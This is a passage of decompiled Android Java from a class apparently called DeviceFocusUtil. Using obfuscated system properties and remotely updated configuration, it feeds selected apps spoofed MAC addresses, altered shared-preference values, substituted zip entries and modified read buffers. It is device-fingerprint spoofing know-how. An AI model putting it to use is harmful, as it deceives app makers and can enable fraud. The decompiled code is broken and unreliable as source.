return DeviceFocusUtil.unmarkId(v0_1); |
|
} |
|
catch(Exception v0) { |
|
} |
|
|
|
return v3; |
|
} |
|
|
|
private static String getDeviceFocusMac(String arg4) { |
|
String v3 = null; |
|
if(arg4 == null) { |
|
return v3; |
|
} |
|
|
|
try { |
|
String v0_1 = SystemProperties.get("persist.sys.m" + DeviceFocusUtil.encodeFromPackageNameForMac(arg4), "0"); |
|
if(v0_1 != null) { |
|
} |
|
else { |
|
return v3; |
|
} |
|
|
|
if(v0_1.length() != 12) { |
|
return v3; |
|
} |
|
|
|
return DeviceFocusUtil.unmarkAddr(v0_1); |
|
} |
|
catch(Exception v0) { |
|
} |
|
|
|
return v3; |
|
} |
|
|
|
public static String getDeviceFocusZipEntry(String arg6, String arg7) { |
|
Object v3; |
|
Object v0_1; |
|
try { |
|
String v4 = DeviceFocusUtil.getPackageNameFromPath(arg6); |
|
if(v4 != null) { |
|
Iterator v5 = DeviceFocusUtil.sZipEntry.iterator(); |
|
do { |
|
label_5: |
|
if(!v5.hasNext()) { |
|
return arg7; |
|
} |
|
|
|
v0_1 = v5.next(); |
|
Object v1 = ((Map)v0_1).get("package"); |
|
Object v2 = ((Map)v0_1).get("file"); |
|
v3 = ((Map)v0_1).get("fixed_data"); |
|
if(!v4.equals(v1)) { |
|
goto label_5; |
|
} |
|
} |
|
while(!arg7.startsWith(((String)v2))); |
|
|
|
DeviceFocusUtil.logAsset("zipEntry---------->>>>" + v0_1); |
|
return ((String)v3); |
|
} |
|
|
|
return arg7; |
|
} |
|
catch(Exception v0) { |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
return arg7; |
|
} |
|
} |
|
|
|
private static String getPackageName(Context arg4, int arg5) { |
|
String v1 = null; |
|
if(arg4 == null) { |
|
String v0 = v1; |
|
return v0; |
|
} |
|
|
|
try { |
|
Iterator v2 = arg4.getSystemService("activity").getRunningAppProcesses().iterator(); |
|
arg4.getPackageManager(); |
|
while(v2.hasNext()) { |
|
Object v0_2 = v2.next(); |
|
try { |
|
int v3 = ((ActivityManager$RunningAppProcessInfo)v0_2).pid; |
|
if(v3 != arg5) { |
|
continue; |
|
} |
|
|
|
return ((ActivityManager$RunningAppProcessInfo)v0_2).processName; |
|
} |
|
catch(Exception v0_1) { |
|
continue; |
|
} |
|
} |
|
} |
|
catch(Exception v0_1) { |
|
return v1; |
|
} |
|
|
|
return v1; |
|
} |
|
|
|
private static String getPackageNameFromPath(String arg5) { |
|
Exception v0_1; |
|
String v1_2; |
|
Exception v4; |
|
String[] v1_1; |
|
String v0 = null; |
|
try { |
|
if(((TextUtils.isEmpty(((CharSequence)arg5))) || !arg5.startsWith("/data/data/")) && !arg5.startsWith("/data/app/")) { |
|
return v0; |
|
} |
|
|
|
v1_1 = arg5.split("/"); |
|
if(v1_1.length > 4) { |
|
goto label_26; |
|
} |
|
|
|
goto label_15; |
|
} |
|
catch(Exception v1) { |
|
goto label_30; |
|
} |
|
|
|
label_26: |
|
int v2 = 3; |
|
try { |
|
v0 = v1_1[v2]; |
|
} |
|
catch(Exception v1) { |
|
goto label_30; |
|
} |
|
|
|
try { |
|
label_15: |
|
if(!arg5.startsWith("/data/app/")) { |
|
return v0; |
|
} |
|
|
|
v1_1 = v0.split("-"); |
|
if(v1_1.length <= 1) { |
|
return v0; |
|
} |
|
|
|
v0 = v1_1[0]; |
|
} |
|
catch(Exception v1) { |
|
v4 = v1; |
|
v1_2 = v0; |
|
v0_1 = v4; |
|
label_33: |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0_1); |
|
v0 = v1_2; |
|
} |
|
|
|
return v0; |
|
label_30: |
|
v4 = v1; |
|
v1_2 = v0; |
|
v0_1 = v4; |
|
goto label_33; |
|
return v0; |
|
} |
|
|
|
public static void handleUpdateConfiguration(Context arg3) { |
|
IntentFilter v0 = new IntentFilter(); |
|
v0.addAction("android.net.conn.CONNECTIVITY_CHANGE"); |
|
arg3.registerReceiver(new UpdateReceiver(null), v0); |
|
} |
|
|
|
private static void initChannelInfo(String arg5) { |
|
try { |
|
if(DeviceFocusUtil.sChannelInfo == null) { |
|
DeviceFocusUtil.sChannelInfo = new HashMap(); |
|
Iterator v3 = DeviceFocusUtil.sChannelFile.iterator(); |
|
while(v3.hasNext()) { |
|
Object v0_1 = v3.next(); |
|
Object v1 = ((Map)v0_1).get("package"); |
|
Object v2 = ((Map)v0_1).get("path"); |
|
v0_1 = ((Map)v0_1).get("fixed_data"); |
|
if(!arg5.equals(v1)) { |
|
continue; |
|
} |
|
|
|
DeviceFocusUtil.sChannelInfo.put(v2, v0_1); |
|
DeviceFocusUtil.logAsset("sChannelInfo---------->>>>" + DeviceFocusUtil.sChannelInfo); |
|
} |
|
} |
|
|
|
return; |
|
} |
|
catch(Exception v0) { |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
return; |
|
} |
|
} |
|
|
|
static void logAsset(String arg1) { |
|
if(DeviceFocusUtil.DEBUG) { |
|
Log.i(DeviceFocusUtil.TAG, arg1); |
|
} |
|
} |
|
|
|
static void logAsset(String arg2, Exception arg3) { |
|
if(DeviceFocusUtil.DEBUG) { |
|
Log.i(DeviceFocusUtil.TAG, arg2 + arg3); |
|
arg3.printStackTrace(); |
|
} |
|
} |
|
|
|
public static void preDeviceFocusMac(Context arg1, int arg2, WifiInfo arg3) { |
|
String v0 = DeviceFocusUtil.getPackageName(arg1, arg2); |
|
if(v0 != null) { |
|
v0 = DeviceFocusUtil.getDeviceFocusMac(v0); |
|
if(v0 != null) { |
|
arg3.setMacAddress(v0); |
|
} |
|
} |
|
} |
|
|
|
public static void preDeviceFocusSPEntity(Map arg8, String arg9) { |
|
Object v4; |
|
Object v3; |
|
Object v0_1; |
|
try { |
|
String v5 = DeviceFocusUtil.getPackageNameFromPath(arg9); |
|
String v6 = arg9.substring(arg9.lastIndexOf("/") + 1); |
|
if(v5 == null) { |
|
return; |
|
} |
|
|
|
Iterator v7 = DeviceFocusUtil.sSharedPreference.iterator(); |
|
do { |
|
label_9: |
|
if(!v7.hasNext()) { |
|
return; |
|
} |
|
|
|
v0_1 = v7.next(); |
|
Object v1 = ((Map)v0_1).get("package"); |
|
Object v2 = ((Map)v0_1).get("file"); |
|
v3 = ((Map)v0_1).get("key"); |
|
v4 = ((Map)v0_1).get("fixed_data"); |
|
if(!v5.equals(v1)) { |
|
continue; |
|
} |
|
|
|
if(!TextUtils.isEmpty(((CharSequence)v2)) && !v6.equals(v2)) { |
|
break; |
|
} |
|
|
|
goto label_24; |
|
} |
|
while(true); |
|
} |
|
catch(Exception v0) { |
|
goto label_42; |
|
} |
|
|
|
goto label_9; |
|
try { |
|
label_24: |
|
if(v3 == null) { |
|
goto label_9; |
|
} |
|
|
|
if(v4 == null) { |
|
goto label_9; |
|
} |
|
|
|
if(arg8.get(v3) == null) { |
|
goto label_9; |
|
} |
|
|
|
arg8.put(v3, v4); |
|
DeviceFocusUtil.logAsset("sharedPreference---------->>>>" + v0_1); |
|
return; |
|
} |
|
catch(Exception v0) { |
|
label_42: |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
return; |
|
} |
|
} |
|
|
|
public static int read(byte[] arg1, int arg2, int arg3, int arg4, String arg5, String arg6, String arg7) { |
|
if(arg6 != null && !arg6.startsWith("com.tencent.game")) { |
|
int v0 = DeviceFocusUtil.checkReadBufferExt(arg2, arg4, arg1, arg6, arg7); |
|
if(v0 < 0) { |
|
v0 = DeviceFocusUtil.checkReadBuffer(arg4, arg5, arg1); |
|
if(v0 > 0) { |
|
arg4 = v0; |
|
} |
|
} |
|
else { |
|
arg4 = v0; |
|
} |
|
} |
|
|
|
return arg4; |
|
} |
|
|
|
public static int read(byte[] arg1, int arg2, String arg3) { |
|
if(arg2 > 0) { |
|
int v0 = DeviceFocusUtil.checkReadBuffer(arg2, arg3, arg1); |
|
if(v0 > 0) { |
|
arg2 = v0; |
|
} |
|
} |
|
|
|
return arg2; |
|
} |
|
|
|
private static String readResFile(String arg6) throws IOException { |
|
String v0_2; |
|
InputStream v1 = DeviceFocusUtil.class.getResourceAsStream(arg6); |
|
BufferedInputStream v2 = new BufferedInputStream(v1); |
|
try { |
|
ByteArrayOutputStream v0_1 = new ByteArrayOutputStream(); |
|
byte[] v3 = new byte[0x400]; |
|
do { |
|
int v4 = v2.read(v3); |
|
if(v4 > 0) { |
|
v0_1.write(v3, 0, v4); |
|
} |
|
} |
|
while(v4 == v3.length); |
|
|
|
v0_2 = v0_1.toString(); |
|
} |
|
catch(Throwable v0) { |
|
goto label_20; |
|
} |
|
|
|
v2.close(); |
|
v1.close(); |
|
return v0_2; |
|
label_20: |
|
v2.close(); |
|
v1.close(); |
|
throw v0; |
|
} |
|
|
|
public static String readURLFile(String arg6) throws IOException { |
|
String v0_2; |
|
InputStream v1 = new URL(arg6).openStream(); |
|
BufferedInputStream v2 = new BufferedInputStream(v1); |
|
try { |
|
ByteArrayOutputStream v0_1 = new ByteArrayOutputStream(); |
|
byte[] v3 = new byte[0x400]; |
|
while(true) { |
|
int v4 = v2.read(v3); |
|
if(v4 <= 0) { |
|
break; |
|
} |
|
|
|
v0_1.write(v3, 0, v4); |
|
} |
|
|
|
v0_2 = v0_1.toString(); |
|
} |
|
catch(Throwable v0) { |
|
goto label_19; |
|
} |
|
|
|
v2.close(); |
|
v1.close(); |
|
return v0_2; |
|
label_19: |
|
v2.close(); |
|
v1.close(); |
|
throw v0; |
|
} |
|
|
|
public static void saveURLFile(String arg6, String arg7) throws IOException { |
|
InputStream v1 = new URL(arg6).openStream(); |
|
BufferedInputStream v2 = new BufferedInputStream(v1); |
|
BufferedOutputStream v3 = new BufferedOutputStream(new FileOutputStream(arg7)); |
|
int v0 = 0x400; |
|
try { |
|
byte[] v0_2 = new byte[v0]; |
|
while(true) { |
|
int v4 = v2.read(v0_2); |
|
if(v4 <= 0) { |
|
break; |
|
} |
|
|
|
v3.write(v0_2, 0, v4); |
|
} |
|
} |
|
catch(Throwable v0_1) { |
|
goto label_21; |
|
} |
|
|
|
v2.close(); |
|
v1.close(); |
|
v3.close(); |
|
return; |
|
label_21: |
|
v2.close(); |
|
v1.close(); |
|
v3.close(); |
|
throw v0_1; |
|
} |
|
|
|
private static String unmarkAddr(String arg10) { |
|
char[] v4 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'A', 'B', 'C', 'D', 'E', 'F'}; |
|
char[] v5 = new char[]{'B', 'E', 'F', 'J', 'K', 'N', 'O', 'R', 'S', 'U', 'Y', 'Z', 'a', 'b', 'f', 'j', 'k', 'l', 'o', 'p', 'q', 'v'}; |
|
String v2 = ""; |
|
int v0; |
|
for(v0 = 0; v0 < arg10.length(); ++v0) { |
|
char v6 = ((char)arg10.charAt(v0)); |
|
int v3 = 0; |
|
while(true) { |
|
if(v3 < v5.length) { |
|
if(v6 != v5[v3]) { |
|
++v3; |
|
continue; |
|
} |
|
else { |
|
break; |
|
} |
|
} |
|
|
|
goto label_142; |
|
} |
|
|
|
v2 = v2 + v4[v3]; |
|
label_142: |
|
if(v0 % 2 != 0 && v0 != arg10.length() - 1) { |
|
v2 = v2 + ":"; |
|
} |
|
} |
|
|
|
return v2; |
|
} |
|
|
|
private static String unmarkId(String arg7) { |
|
char[] v4 = new char[]{'E', 'j', 'G', 'a', 'Z', 'i', 'h', 'c', 'm', 'T'}; |
|
String v2 = ""; |
|
int v0; |
|
for(v0 = 0; v0 < arg7.length(); ++v0) { |
|
int v3 = 0; |
|
while(true) { |
|
if(v3 < v4.length) { |
|
if(v4[v3] != arg7.charAt(v0)) { |
|
++v3; |
|
continue; |
|
} |
|
else { |
|
break; |
|
} |
|
} |
|
|
|
goto label_41; |
|
} |
|
|
|
v2 = v2 + String.valueOf(v3); |
|
label_41: |
|
} |
|
|
|
return v2; |
|
} |
|
} |
|
|